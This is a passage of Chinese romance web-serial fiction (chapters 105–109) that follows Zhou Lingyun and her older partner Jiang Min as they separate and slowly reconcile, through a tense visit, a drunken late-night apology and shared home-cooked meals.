周灵蕴忍不住翻了个白眼,电话里听着威风得不得了啊,还以为有什么堪比满清十大酷刑的好手段。 结果,就这? 不管了,周灵蕴趿上拖鞋,穿过二人,进厨房帮忙,直接来个眼不见为净。 蛋挞侧身,“寒舍简陋,您多担待。” 姜悯盯她几秒,依言踩在地板,迈步向前。 她微笑保持礼貌,宠辱不惊,“可以带我参观参观你的家吗?” 蛋挞扬眉,点头,“当然可以。” 让她看吧,看周灵蕴过得有多好,有自己的小房间,在学拍照,学剪辑,还在阳台种了好些绿叶菜。 看吧看吧,看看你的小童养媳离了你过得有多好,每天不知道多充实! 姜悯跟随蛋挞,走进周灵蕴房间。 她看到周灵蕴靠墙摆放的单人小床,墙上几张宫崎骏的电影海报,床上铺着干净的蓝白格子床单,是她熟悉的风格。 一晃神,时空错位感,还以为在家。 只是周灵蕴床头有了新的蓝色小鲨鱼玩偶。 她还是不能习惯睡觉没有小鲨鱼,但这世上不是只有一只小鲨鱼。 然后是书桌,几本摄影相关的专业书,一些笔记和打印的资料,桌角的小篮子里堆满五颜六色的扭扭棒,旁边还有几个已经做好的,色彩鲜艳可爱的小摆件,蛋糕鲜花什么的。 “周灵蕴现在给我当助理哦!”蛋挞随手抓来一朵向日葵,姜悯眼前晃了晃,“瞧见没?手艺不错吧?都用来给直播间的粉丝抽奖了。现在大家都知道,我有个心灵手巧又超可爱的助理妹妹。” 姜悯默默听着,视线抓牢每一处细节。 阳台种植箱内,晚风中,夕阳下,摇曳的翠绿叶片。 冰箱门上的便利贴,熟悉的字迹,马克笔加粗的祝福语——蕴蕴天天开心。 …… 这里到处都是她的痕迹。 独属于周灵蕴,鲜活的,努力向上的,拥有向日葵一样耀眼的金色。 她不再围绕她旋转,她的世界精彩充实却丝毫不减。 姜悯像被橘子皮刺了下眼睛。 心底漾开一片复杂的涟漪,有心安,有心酸,有失落,还有……羡慕。 周灵蕴过得很好,比她好,好得多。 到底年轻,有什么挫折困难可以真正打倒她呢? 脚步一旋,蛋挞转身,姜悯细微表情变化尽收眼底。 她心中得意更甚,扑扇着翅膀,像只打赢了架的珍珠小母鸡,趾高气扬,一路咯咯着领姜悯回到客厅,“如何?” 姜悯拢裙坐在沙发,不语。 蛋挞正准备乘胜追击,再说几句风凉话,却见姜悯忽然弯下腰,双手握住自己的小腿,手扳过脚掌,展示。 她脚心黢黑。 面无表情,姜悯就这么静静看着她。 蛋挞当场表演一个笑容消失术。 “抽空还是打扫一下吧。”姜悯低头整理裙摆,一派雍容闲雅。 第106章 最后一点不必要的牵连…… 裙摆盖住腿, 姜悯长长叹了口气,随后放松仰靠在沙发背。 裙下大腿叠摞,她右脚脚尖高高翘起, 在蛋挞的视角,有一个完整的黢黑的脚底板。 看得出, 足弓长得蛮好, 就脚心那一小块是白的。 脚尖悠哉晃荡,姜悯微微翘起下巴, 垂眼睥睨,表情十分自得,如得胜的乡间大鹅。 珍珠小母鸡怎么会是霸总鹅的对手。 蛋挞一言不发。 但姜悯周身气息是松弛的,甚至带点宠溺。 倒不是看不起她们。姜悯潜意识中, 屋里这几个女孩,即便将来长到三四十岁,也依旧是当年初见模样。 一个个哭得像个烂番茄。 姜悯自封为孩群“头目”,说救苦救难有点夸张,但她们真要有什么事, 求到她头上, 她岂会坐视不理? 总之, 她们那点小心思小动作, 再怎么扑腾也翻不出她手掌心。 气氛一时凝滞,略有些尴尬。 姜悯沉吟几秒,自然转向蛋挞, 语气轻松开启闲聊,“这好像是我们第一次正式见面。” 眼珠微错,蛋挞斜视,警惕不减, “好像。” 姜悯又是一声叹,眼神逐渐放空,似乎陷入往事。 “上一次见,还是在老家吧?就我家乡下自建的两层小楼。” 蛋挞不明所以。 这是在套近乎? 她冷笑,“姜老板何必自谦呢,您口中简朴的那栋两层小楼可不是谁都住得起的。别墅就别墅喽,认识又不是一天两天,怎么,担心伤害到我们自尊心啊?” 既然你不怕被伤害到自尊心…… 姜悯心道声“得罪”,微蹙眉作思索状,手指在膝盖上轻点,“周灵蕴跟你们从县里回来后的第二天还是第三天来着?” 她目光转向蛋挞,眸光纯净,不掺杂质的好奇,“然后你跟小哑巴一块儿过来找她借钱,还记得吗?那是我们第一次见面。” 好好好,搁这儿等着我呢,蛋挞笑了。 “姐姐贵人多忘事,您从始至终都没有出现过呀,当时听周灵蕴那意思,好像是为了保护小孩自尊心,免得我们难堪。” 说着,学姜悯叹气,“这么多年,怎么还越活越回去,图穷匕见,狗急跳墙!多少年前的陈芝麻烂谷子翻出来。” 姜悯垂眸不语,思索如何反击。 蛋挞得意晃晃脑袋,到底年轻,沉不住气。 “咋不说话啦?” 姜悯抬头,眉头舒展开。 她像是才突然想起什么,环顾四周,语气变得更加自然随意,“咦,怎么没看到小哑巴,他没跟你们住一起啊?” 周灵蕴被蛋挞和梦真接走后,姜悯才开始在网上搜蛋挞。 她开小号加了粉丝群,进群发红包,不到三天时间,混进管理层。 群主是蛋挞大粉,从她出道至今,始终对她保持密切关注,姜悯不费吹灰之力就把蛋挞扒个精光。 人生处处是战场,兵法有言:知己知彼才能百战不殆。姜悯如此精明,孤身赴宴岂会毫无准备? “你跟真真在一块,我挺意外,你跟小哑巴曾经关系那么好,我还以为你铁直呢。” “哎呀!”蛋挞跳下板凳,几乎是同手同脚逃进厨房,“真真我来帮忙啦——” 小厨房塞不下那么多人,周灵蕴只好出来。 她没看客厅沙发上的姜悯,沉默转身,进了卫生间,洗手台下面翻出个泡脚桶,接了大半桶温水,然后站在走廊口,朝着姜悯的方向,轻轻勾了勾手指。 像小时候那样,她跟姜悯第一次见面那样。 姜悯始终望着周灵蕴背影消失的方向,周灵蕴再次出现,虽是意料之内,仍不禁喜悦。 她不知道周灵蕴有没有想起她们的第一次见面。正式见面。 她脑海中浮现的,是几年前穿蓝色毛衣的周灵蕴。 像只淋雨小猫,瘦瘦长长,弓着背,浑身毛湿漉漉好可怜,唯那双眼睛格外的黑和亮。 这么多年过去,眼底的核心力量没变过。 她依旧坚毅勇敢。 记忆中的模样与眼前身影缓缓重叠,姜悯颇有些感慨。 她不由起身朝她走去。 周灵蕴从大门口提来个换鞋凳,姜悯自然拢裙坐下,周灵蕴蹲在脚盆边,两手托住姜悯脚跟放入水盆,而后蹲身,低头搓洗。 姜悯看到周灵蕴漆黑柔顺的发顶。 温妥的水流包裹住疲惫的足踝,她手指稍带着力道,仔细揉搓着皮肤表面的尘垢。 手心糙糙的。 “没擦护手霜吗?”姜悯低低说了句。 周灵蕴手顿了下,摇头。 她手一直就糙,之前几年,有姜悯时常在耳边叮嘱都是三天打鱼两天晒网,现在没人管,她根本懒得擦。 以前,周灵蕴会担心姜悯嫌弃她,说手糙摸在身上不舒服。 现在嘛…… 糙就糙呗,她就是个粗人。 “最近过得好吗?”姜悯又问。 “挺好。”周灵蕴回。 姜悯笑一下,只当她逞强。 温柔的触碰,乖顺的姿态,熟悉的被照顾的感觉回来,悬了很久的心一下落回实处,姜悯微微扬起下巴,“明天就收拾东西回来吧。” 姜悯又自信了。 她不假思索,将这份体贴误解为求和与屈服 ,她享受着这份舒适,语气放缓,恩赐般理所当然。 “你要说,想跟老朋友聚聚,住了这么多天也该玩够了。你想打工我不反对……好吧之前确实是我不对,我给你道歉,但这边离你打工的店实在太远了,你每天搭地铁往返,占用多少休息时间?要不吃完饭咱们就走。” 预想中的欣喜或顺从却并没有出现。 周灵蕴顿住。 她抬头,定定看着姜悯,困惑极了。 “前几天老太太还打电话问呢,我替你瞒着的,也没说你去打工的事情。” 姜悯毫无所觉,自顾自继续。 最初的惊诧过去,周灵蕴眼神渐渐变了。 变为一种深深的,冰冷的了然。 她原以为,她们分开这段时间,姜悯会有所改变,会试着理解她的感受和选择。 这番话之前,周灵蕴真的以为她变了。 现在看来,似乎没有。 一点都没有。 姜悯还是那个姜悯,狂妄自大的姜悯,永远活在自己的预设里,将她所有的行为都粗暴简单解读为依附和讨好。 周灵蕴没说话,只是摇头,嘴角扯出一个极淡极苦的笑。 她低头继续手上的动作,假装刚才什么也没发生过,无声的拒绝却在瞬间刺痛姜悯。 急切俯身,姜悯一把攥住周灵蕴手腕,“你到底听没听见我说话?” 闭眼,吐气,胸腔塌陷一块,周灵蕴深深蹙着眉,“你说啊,我在听。” “我说别闹了,我很忙,很累,真的。”姜悯有气无力。 ——“别闹了。” 最后一根稻草,心中残存的最后一丝期望破灭。 从天而降,一记无形重锤,天灵盖剧痛,周灵蕴傻傻半张嘴,呆在那。 几秒后,她缓缓抬头,再望向姜悯的眼睛里最后一道光熄灭,只剩下铺天盖地的,冰冷的失望。 她好难过,心像是被撕开了一个大口,冷风呼呼往里灌。 真的好难过。 如果一直这样下去,她们就真的完了。 心底有一个声音在呐喊:她还不想结束。周灵蕴很确定,她还不想跟姜悯走向彻底决裂的终点。 可她确实也没办法勉强自己,忽略所有的委屈,在关系里继续扮演“保姆”一角。 答案清晰而坚定:不。 不想彻底结束,或许只是出于习惯,出于对多年情感的不舍,但这些都是暂时的。 人的一生那么长,哪有什么是真正的永恒不变? 只要她们分开得足够久。 一个月两个月,一年两年,甚至五年,十年…… 再浓烈的情感,再刻骨铭心的记忆,经时间河流反复冲刷,总会淡化。 她会忘记。 忘记此刻的心痛,忘记曾经的依赖,忘记她指尖的温度,忘记她怀抱的气息…… 最终,忘记姜悯这个人。 心脏传来一阵尖锐痛意,也带来清醒解脱。 扭转手腕,周灵蕴挣脱桎梏,收回手掌,抽离了她们之间最后一点不必要的牵连。 周灵蕴低着头,声音很轻,“我洗好了,你自己擦一下吧。” 起身有点猛,脑供血不足,走出卫生间,周灵蕴扶墙站了会儿,缓过眩晕,才慢慢走回房间躺到床上。 姜悯会是什么反应,她已经不在乎了。现在她就想躺着。 她正在学习如何将自己的感受放在第一位。 梦真一直有在留意外头两个人情况,刚出锅的鱼香肉丝摆上桌,她拐去周灵蕴房间,瞧见里面那人四仰八叉躺着,小腿挂在床沿外,正举着手机傻呵呵刷短视频,完全沉浸在另一个世界。 没打扰,默默退出来,她转而走向卫生间。 姜悯坐在换鞋凳上,一动不动。 蛋挞悄咪咪跟来,见姜悯满脸吃瘪,捂嘴偷笑一下,拉着梦真走开。 “我治不了她,有的是人治,哼,看她怎么威风。” 水凉透,姜悯还盯着那双拖鞋发呆。 周灵蕴把自己的拖鞋留给她了,可爱小熊猫图案,黑白配色,周灵蕴一贯喜欢的带点稚气的审美。 周灵蕴对她还是很好,但只是出于礼貌,基本待客之道,或替朋友道歉,尽力不让客人感到难堪,被怠慢。 姜悯有在试图找回以前的节奏,周灵蕴却不接招了。 她一拳打在棉花上,所有力气被无声吞噬化解,消失无踪。 吵架,有来有往才叫吵。 她好像……真的被推出周灵蕴的世界了。 而主人家甚至懒得费力关上大门,任由那门敞着,不在意门外的人是否离开。 纵是登堂入室,烧杀抢掠,也无所畏忌只管蒙头大睡。 第107章 你给我的惩罚够多了…… 姜悯饭都没吃就走了。 她哪儿还吃得下。 听见外头门响, 蛋挞从厨房跑出来看。 她先去了卫生间,瞧见洗脚盆里的水还在打涟漪,地砖一串的湿脚印, 周灵蕴的拖鞋摆在原位,没动过。 蛋挞拎着拖鞋去周灵蕴房间, 把鞋给她扔床边, 下巴颌往前戳,发出“pipi”两声, “姜大炮走了?” 周灵蕴背对人躺着,手机贴脸,一动不动。 “喂!我说姜大鹅走了?”蛋挞再次出声。 周灵蕴还是没反应。 蛋挞绕了半圈,走她跟前, 周灵蕴竟然歪在床上睡着了,手机循环播放小猫奶叫撒娇。 太累了,周灵蕴太累了,被蛋挞晃着肩膀喊醒,她眯着眼睛爬起来, 迷迷糊糊的, 到处找衣服穿, “闹钟没响啊——” 还以为睡过头了, 要赶着去上班呢。 蛋挞心疼坏了,把她摁回去,“躺着吧, 躺着,我就跟你说一声,姜大炮走了。” 定住不动,周灵蕴傻傻半张嘴望了会儿天花板, 揉揉眼睛,“那她不吃饭了啊?” “粗茶淡饭,人家看不上呗。”蛋挞挨着周灵蕴大腿坐床沿,“鞋都没穿,真是的,从卫生间出来,踩一地水印子,你不是给她拖鞋了?” 周灵蕴打了个哈欠。 蛋挞缓了缓,轻推她一把,“咱家地真那么脏啊?我看她那洗脚水,发灰的。” 周灵蕴“啊”一声,“灰尘大吧,是不是最近吹风,把阳台土都吹屋里了?你成天在家也不知道打扫。” “那什么,那也是你们种菜弄的,你们自己打扫……”蛋挞嘀嘀咕咕走了。 周灵蕴爬起来去把泡脚桶里的水倒了,地板拖了。 晚饭后,她洗完澡躺在换了干净床单,有暖融融太阳光味道和馨浓洗衣液香味的小床上,按开手机,美滋滋准备启动游戏时,想了想,还是打开微信把姜悯放出来。 “看见蟑螂,我不怕不怕啦——”周灵蕴觉得没必要再关着她了。 就那么巧,切回主页面,刚好看到姜悯新消息。 [老太太打电话问你了。] [我怎么说?] 周灵蕴切回游戏。 懒得理。 姜悯消息发出去,没收到回复,自己一个人回到家,又生气又委屈。 她把自己摔进沙发,一把捞过角落正在舔毛的猫二,下巴搁在猫咪温热的头顶,没忍住掉了几滴鳄鱼泪。 “周灵蕴,你没良心!” 猫二正是活泼好动的年纪,被她按怀里,被迫听她抽抽噎噎,没多大会儿就不耐烦了,小肥身子扭动,趁其不备猛一蹬腿,灵活挣脱,跳下沙发一溜烟跑没影。 怀抱骤然一空,姜悯“呜呜呀呀”,伸臂挽留,随即满怀悲痛化作无名火。 她握拳猛捶沙发垫,“坏猫!小白眼狼!真是上梁不正下梁歪!跟周灵蕴一样坏!” 骂完,身体后仰躺倒,她自己也觉得没劲。 脸埋进毛乎乎的沙发毯,默默流了会儿眼泪,被毯子上的猫毛弄得鼻子有点痒,姜悯掀开毯子坐起来,脸蛋闷得红红的,她又开始生气。 爬起来,双手叉腰,房中来回踱步,她忽地猛一挥手, “就你能!你一个人能过,难道我就不能过了?” 她对着空气较劲,“谁还离不了谁啊!” 趿拉着拖鞋,姜悯噔噔噔走到客厅中央,又噔噔噔跑去阳台,“我这大房子自己一个人住不知道多舒服!是你们那小鸽子笼能比的吗?一梯一户我在家开个人演唱会都没人管!你们两梯六户,小强窝,还乐呢——” 吼完,她噔噔噔跑去电视旁,胡乱操作一番,抽屉里翻出个麦克风,开始唱歌,“终于看开,爱回不来,我们面前,太多阻碍——” 凌晨两点,周灵蕴睡得正香,手机响了。 她眯眼盯屏幕,来电显示是被她开除了大半个月的“老板主人”。 姜悯上一次给她打电话,也是差不多的时间。那天她们大吵一架。 周灵蕴犹豫了一下,还是接了起来。 担心被骂,周灵蕴其实有点紧张,左手埋在凉被里,揪着卷到胸口的睡衣边。 姜悯音色倒是出人意料的轻快活泼。 “歪?歪?洞幺洞幺,我是洞幺,洞幺洞幺,呼叫洞拐……收到请回答,谢谢——” 她喝醉了,大舌头含糊不清,重复说敌人准备轰炸碉堡,强烈请求支援,否则立即把猫二撕票。 周灵蕴闭眼深吸一口气,认命坐起身。 她没多问,也没责备,默默听了会儿姜悯醉醺醺的胡话,通过周围环境音判断姜悯现在所在位置。 “你在家,还是外面?” “嘻嘻,你猜——”那端回。 又等了会儿,周灵蕴听到小猫叫,睡衣外面随便套了件衬衫,拿上手机出门。 故地重游,周灵蕴说不上心里什么滋味,只知道姜悯没删她门禁,她如常刷脸进小区,搭电梯上楼。 她当时走得急,放假前新买的运动鞋忘了带,原本搁在柜子底下,被姜悯赌气踢飞,跟角落半死不活的散尾葵躺在一块。 周灵蕴垂着手,外头站了几秒,走到门口,试着按下指纹锁。 在姜悯的世界,时间似乎停滞。 她赶走她,却仍然保留她的电话备注,她的门禁信息,她的门锁指纹,等等。 周灵蕴有点搞不懂她了。 打开门走进去,房中灯火通明,姜悯握个啤酒瓶缩在沙发角,显然哭过,脸上妆全花了。 周灵蕴走到她面前,她脸上露出困惑的神情,“你怎么来了。” 她完全忘记之前那通电话。 “是你让我来的。”周灵蕴只好说。 她愣愣看了几秒,仿佛确认不是幻觉,然后脸一皱嘴一瘪,毫无预兆,放声大哭。 手搓搓额头,周灵蕴叹了口气,说“我给你接杯水吧”,话音刚落,姜悯“呕”一声,捂住嘴。 “别——”周灵蕴赶紧扶她去卫生间。 半打黑啤,一颗花生米没有,干喝,也真难为她了。 姜悯抱着马桶吐得天昏地暗,周灵蕴蹲在旁边看了会儿,默默帮她归拢起散落的长发,轻轻拍背顺气,等她吐完,又用湿毛巾仔细给她擦嘴擦手。 那叫一个妥帖。 要是蛋挞在,还不知道怎么挖苦。 “周灵蕴,你来了。”姜悯眼泪汪汪。 周灵蕴把姜悯搀回沙发,卧室找来干净的居家服,“自己换。” 整个过程姜悯都很配合,只是眼泪一直没停过,嘴里还含糊念叨着什么。 懒得分辨,做完这一切,周灵蕴按她在沙发躺倒,抖开毛毯给她盖上,“你休息吧。” “别走。”姜悯拽住周灵蕴的手。 刚擦洗过,她手心湿湿软软,没挣,周灵蕴只是叹气,“我明天还得上班。” “请假。”姜悯说。瞧见对方脸色不对,又赶快问:“要扣钱吗?” “要。”周灵蕴点头。 “那我补偿你,三倍。”姜悯立即道。除了钱,她真没什么拿得出手的。 周灵蕴甩开她就走。 姜悯猛地挣扎起来,想要抓住她,却因醉意和无力直接从沙发上滚下来,摔在茶几边的短绒地毯。 她顾不上疼,几乎是连滚带爬扑过去,死死抱住周灵蕴,“我错了对不起,周灵蕴,我真的错了,我知错了……” 黏糊糊的眼泪鼻涕全蹭在人家裤腿,什么面子里子,姜悯全不要了,借酒醉把平时那些不敢说的,不好意思说的,一口气全说出来。 ——“你给我的惩罚够多了,真的,我真的知错了。” ——“你可以去打工,我支持你打工,支持你想做的任何事,我会尊重你的一切决定。” ——“我很爱你,真的很爱,我们在一起那么多年,我们早就是家人了,不是吗?说好了要过一辈子的嘛,你知道我是很怕麻烦的人,我没有那么多耐心再付出给别人了。” ——“我也没有把你当作谁的替身,从来没有,虽然一开始我确实觉得你们长得很像,但只是在茶厂外的马路边,第一次见面,之后我并不觉得。” ——“我带你去拍写真,是我不对,但我的本意只是想让你打消念头……你太小了,我们差着那么多岁,你亲我的时候,我很喜欢,可那是不对的……那是我唯一能想到的办法。” ——“我虽然比你年长许多,但某些方面确实称不上聪明,啊我就是这样的人啊,你会讨厌我吗?不要讨厌我……” 像是打开了某个闸口,这天,姜悯语无伦次说了好多。 那些憋在心里很久,周灵蕴曾无比渴望听到的解释、道歉和内心剖白,此刻伴随着酒气和眼泪,汹涌而出。 她说起过去在关系里的一切,她的恐惧和笨拙,她的在意,她的懊悔,她的自责…… 这些都是周灵蕴等了很久的。 却是以周灵蕴没想到的方式。在这个姜悯醉意朦胧,情绪彻底失控的深夜,以一种在姜悯的世界最不体面的方式被倾吐出来。 周灵蕴站在原地,没有挣扎,也没有回应,只是静静听着,垂在身侧的手,缓缓紧握成拳。 “你不要走,我赔你工资。”扬起泪痕狼藉的脸,姜悯下颌抵靠在周灵蕴大腿,“我知道你现在可以自力更生了,你做得很好,我知道在感情里我是个糟糕透顶的人,我搞砸了一切……” 她哽咽着,自我厌弃到极点,“可除了钱我真的想不到别的办法,至少,至少我还有钱,不是吗?” 钱,是她们关系的开始,也在无形中让她与周灵蕴之间划下深不可测的鸿沟。 钱,此刻是她唯一能想到的,可以用来修补感情裂隙的一张赎罪券。 第108章 你就绝对无辜吗?…… 周灵蕴没走。 暑假工一星期有一天半的休息, 她前面帮同事顶班,连续上了十二天,现在也该休息了。 但她不用请假。 今天周二, 店里不忙,等天亮她可以临时跟店长调休, 这样店里的工钱既不会少, 还能拿到姜悯承诺的三倍工资…… 虽说,羊毛出在羊身上, 这些钱最后都是要还给姜悯。 但能薅就薅! 盘算清楚了,周灵蕴伸手去把姜悯搀起来扶到沙发上坐,“我可以答应你,今天不走。” 姜悯抓着周灵蕴的手贴在自己的脸蛋, “那你原谅我了吗?” “我不需要原谅你。”周灵蕴垂着眼说。 姜悯面露困惑。 “我说过,我欠你的,以后会还。可你对我的恩情,是还不清的,所以无论你怎么对我, 我都不会记恨你, 当然也不需要原谅。” 只是她们不可能再继续从前的相处模式了。 周灵蕴现在很清楚自己想要什么。 “我喜欢打工, 我喜欢过这种日子, 忙碌充实的日子,我不怕辛苦,我在胜利茶厂的工作不知比在奶茶店辛苦多少倍, 我也坚持下来了。” 没坚持到底,是因为人。那混蛋一家三口欺负她。 周灵蕴最近也是想明白了,工作累吗?当然累,但工作中遇到奇葩人才是最消耗情绪的。 恋爱同理。从前, 姜悯既是她的老板,也是她的恋人,她既要付出劳动,还要提供情绪,另得兼顾学业,她太辛苦了。 而她们分开这段日子,毫不夸张讲,她简直过的神仙日子。 跟朋友们相处是多么轻松自在啊,想说什么就说什么,想做什么就做什么,朋友们给予了她最大的宽容和理解,她们从不强人所难。 周灵蕴不知道以后会怎么样,“但至少这个假期,我不会搬回来。” 姜悯失落垂下眼皮。 “你要不现在转账?”周灵蕴问。 姜悯掀眼,眨巴两下,灯辉倒映在她的眼睛里,眼神湿润柔软,“转了你就不走了。” 周灵蕴不由软下声气,“我是那种言而无信的人吗?答应了不走就是不走。” “那明天呢?”姜悯问。 “明天一定要回去上班的。”周灵蕴回答。 “也行……”至少此刻,她在。姜悯近乎痉挛的手指放松,连带手臂脱力砸落在大腿。 她后背靠回沙发,呆呆出了会儿神,揪起自己的睡衣领口,“我还是好臭啊。” 周灵蕴安静等待她下一步指令。 姜悯手撑茶几站起身,“你去休息吧,我把啤酒瓶收拾下,然后洗澡睡了,我们明天再玩。” 周灵蕴看了她一眼。 姜悯弯腰收拾桌上垃圾,“你的房间是干净的,我有时候会在你的房间睡觉,所以时常有打扫。” 她说你不信自己去看,你的书桌上一点灰尘也没有。 周灵蕴差点要问,你为什么在我的房间睡觉,转念一想,这是她家,别说次卧,在卫生间打地铺,甚至睡马桶上,也是她的自由。 还以为要被要求伺候洗澡,周灵蕴都准备好台词说那是另外的价钱…… 可惜没有。 姜悯打扫了客厅,进房间洗澡,然后自己乖乖上床睡了。 周灵蕴回房间,手在书桌上摸了把,果然如姜悯所说,一尘不染。 两手叉腰,贴着床沿坐,她不由长叹。 讲不好,有点失落是怎么回事。开始自立自强的姜悯让她好不习惯。 因着这份失落,早上十点,周灵蕴半梦半醒接到蛋挞电话时,支支吾吾,明显底气不足。 “她出钱了嘛,我正好调休……哦幸亏你给我打电话了,我忘了跟店长说,稍等下,待会儿打给你。” 出来混嘛,为逃班撒点小谎,再正常不过。 周灵蕴平日对待工作极其认真,从不迟到早退,她说“有点发烧”,店长立马同意调休,让她多喝水多睡觉,不行上医院。 “嗯呢,谢谢店长。”周灵蕴挂断,放松倒回床。 半小时后,蛋挞电话进来,接通劈头盖脸就是一顿骂。 “我就知道,我不给你打电话你是坚决不会给我打电话的,你以为你能躲得过去?” “她喝醉了,我担心她呕吐,窒息,人命关天嘛。”周灵蕴手不停搓额头,苦恼。 “那你很贴心了。”蛋挞嘲讽。 “没办法,我上升巨蟹。”周灵蕴最近有在研究星座。 蛋挞说“你有病啊”! 周灵蕴听见旁边梦真悠悠来了句“害了相思病”。 她简直哭笑不得,“啊我都答应了,转账也收了。” 两人一通掰扯,周灵蕴说,就像你给直播间打赏的姐啊哥啊的私信问好,“维护客情嘛。” 蛋挞最后竟真被说服,“如果她要求你那样的话,你得说,是另外的价钱。” “哪样儿?”周灵蕴忍不住笑了。 蛋挞让她别装。 周灵蕴挂断电话,两只大眼睛睁着盯了会儿天花板,手背贴贴脸,感觉有点烫。 她猛地扯被盖住,翻身睡了。 周灵蕴醒来是下午三点。 虽然她很不想承认,但事实不可否认。在姜悯身边,她可以睡得很好,很踏实。 床是她熟悉的,包括枕套、床笠和凉被的材质,甚至中央空调的温度。 失而复得,久违的安心,她一觉无梦,睁开眼睛,闻到从门缝里飘进来的肉类香气。 姜大炮在做饭?周灵蕴心里有答案的,可当她含着牙刷,迷迷糊糊溜达到厨房,隔着玻璃门看到里面那个熟悉的忙碌的身影,仍倍感震惊。 周灵蕴揉揉眼睛,没看错吧? 门开,姜悯走出来,往餐桌上放了块陶瓷桌垫,“你醒来啦?正好,我学了辣子鸡火锅,你尝尝吧。” 周灵蕴瞪大眼睛,“你会做饭?” “会。”姜悯点头。不然她这么多年自己一个人怎么过的。 “只是懒得做,麻烦,一个人的饭确实也不好做,少了不够吃,多了吃不下。而且一个人吃饭很无聊,你不觉得吗?” “那我们……”周灵蕴话说一半,牙膏沫从嘴角流下来,她摆摆手,走开。 姜悯在餐桌上架了个电磁炉,辣子鸡连锅端出来,弄得跟外面饭馆一模一样。 周灵蕴洗漱完回来,她继续之前的话题。 “你刚才是不是想问我,我们在一起那么多年,为什么我从来不做饭。” 不等人请,周灵蕴迫不及待坐下吃。 她咬着筷子,点头。 “因为你要做,所以我不做。我接你回来那年你才十四岁,你特别要强,你什么事情都抢着做。” 姜悯给周灵蕴倒了杯冰镇过的豆奶。 周灵蕴呆住。 她咬着筷子出神,口水快顺着筷子流到手指,姜悯迅速抽了张纸巾塞过去。 周灵蕴回神,很不好意思,细细声呲溜。 锅里开始冒红油泡,姜悯撸起袖子,顺着锅边下土豆青菜。 她刷视频偶尔刷到的,觉得还不错,依着教程购齐材料,第一次做就很成功。她把炖煮得烂软的鸡爪子夹到周灵蕴碗里,“吃。” 那天,周灵蕴吃饭的时候,想到了很多以前的事情。 确实是她不让姜悯做饭的,家里别的杂务她也都抢着做,甚至第一天就钻进房间,嚷嚷着要给姜悯洗澡。 为了照顾她那点可怜的自尊心,姜悯被迫退居二线,吃了很多难吃的饭。 嗯,她的厨艺也不是一开始就那么好。 姜悯变成后来那样,她功不可没。 周灵蕴低头默默啃鸡爪。 她不可能告诉任何人的是,她有在故意惯坏姜悯,让姜悯永远也离不开她。 表面是坚韧不拔,胆小自卑的乡下妹,其实满心算计,心中不知藏了多少不可告人的秘密。 她抢着做饭,收拾家,哪里仅仅是出于感恩和要强? 她一无所有,只有姜悯。 她太害怕失去了。 她大包大揽,把姜悯伺候得服服帖帖,生活能力一点点退化。 她享受姜悯无奈又纵容说“好啦好啦都交给你啦”时的感觉,好像这样就抓住什么。 鸡肉炖得烂糊,咸香麻辣,姜悯的厨艺不输饭店大厨。 周灵蕴太意外,她以前竟然真的以为姜悯不会做饭。 她埋怨她,表示不堪忍受她的理所当然,她的任性妄为,可这份难道不是她一手惯出来的吗? 付出了,然后站在道德的制高点索要回报。 周灵蕴,你就绝对无辜吗? 是的,她喜欢现在忙碌充实的生活,喜欢平等的朋友交往,那让她感觉自己是个拥有绝对自理能力的成年人,正常人。 她享受这种感觉,可心底扭曲的掌控欲从未消失。 姜悯可以自己收拾房间,可以亲自下厨烧菜喂饱自己,她还把猫二养得很好,猫二肥了一大圈。 这段时间在尝试着“独立”的,不是只有你周灵蕴。 可我好不爽啊,为什么。 周灵蕴放下筷子,喝了口冰豆奶,稍压下喉间哽塞。 她抬起头,望向桌对面的姜悯。 灯下她侧脸柔和沉静,昨夜酒醉颓然失意全然不在,成年女性的圆熟温婉,动人心弦。 周灵蕴心揪痛一下,痛楚中,还夹杂着一丝诡异的快意。 周灵蕴看着她,忽然笑了。 火锅翻腾的热气里,她们相对而坐,彼此面目都有些模糊。 “笑什么?”姜悯面露狐疑,“是味道不好吗?” 她夹了块肉,品食后自顾点头,“我觉得蛮好的,软黏不柴。” “你做得很好。”周灵蕴认真评价。 “那我以后常常给你做,怎么样?”姜悯小心试探。 “做饭不难,网上很多教程,跟着步骤做就是,只要有心,一定可以烧出好吃的饭。” 对待她的小爱人,同样。 只要有心。 第109章 这女的很有手段 “啊, 快乐的时光总是短暂的。” 晚八点,姜悯送周灵蕴下楼,本来想去地库取车, 开车送她回蛋挞那,但周灵蕴拒绝。周灵蕴不想麻烦了, 坦白讲, 也不舍得让姜悯自己最后一个人开车回来。 “你快乐吗?” 周灵蕴站在楼栋口,身后两棵紫薇树, 夏日盛花期,百紫千红,灯下绯艳,摇晃的花影落在她的脸。 姜悯深深看了她一阵, 歪头笑,“感谢您的陪伴。” 周灵蕴也忍不住笑了,“不客气,这是我应该做的。” 姜悯仍是一瞬不瞬看着她。 轻咳,偏头躲开视线, 周灵蕴补充, “我的意思是, 你花了钱的, 从事服务行业,嗯,我应该做的。” “那我下次还可以约你吗?”姜悯说这话的时候, 垂落身侧的手掌一齐揪住衣摆,姿态脆弱又小心。 周灵蕴当然不会漏掉这样的细节。 咳—— 装的吧。 “你是指哪方面。”周灵蕴脑袋里产生一些奇怪的想法。 “做饭给你吃。”姜悯道,目光坦然。 只是吃饭啊。 怎么讲,周灵蕴是有失望的。 她面上装得风平浪静, “不过只是吃饭的话我觉得不是很有必要,我有手有脚的,嗐……这年头,还能吃不上饭?” “你有手有脚,勤劳肯干,当然不会吃不上饭。”姜悯捧着,把她往天上捧,“我恳求,恳求您赏脸。” “倒也不用说得这么……”周灵蕴手捂住嘴憨笑。 她左右小幅度跺脚,抖正身体,“欸,那等我有空的吧。” “明天可以吗?”姜悯乘胜追击,“你上早班还是晚班。” “早班。”周灵蕴不由脱口而出。 姜悯点头应好,“那到时候我去接你。” 周灵蕴搭电梯下小区平台,走到地铁站通道口才想起来,她怎么稀里糊涂就答应了。 “这女的很有手段。”进门,周灵蕴是这么跟蛋挞说的。 “所以她对你使用了什么手段?”蛋挞蹲在椅子上化妆,准备晚上的直播。 周灵蕴坐到蛋挞对面位置,“她说给我做饭吃,什么什么菜,什么什么饮料,然后答应说下班接我过去……” “就这?”蛋挞不屑一顾,“这年头谁还能缺了一顿饭。” “对啊!就是!我也是这么说的”周灵蕴激动起来,手舞足蹈,“我当时就是这么说的。” “只是一点不入流的小手段,你就轻而易举被俘获了。”蛋挞恨铁不成钢,“她鼻孔里出的气都香的吧?” 周灵蕴抓着后脑勺,“啊确实,她身上蛮香的,一直蛮香的。” 蛋挞说滚吧,你个窝囊废。 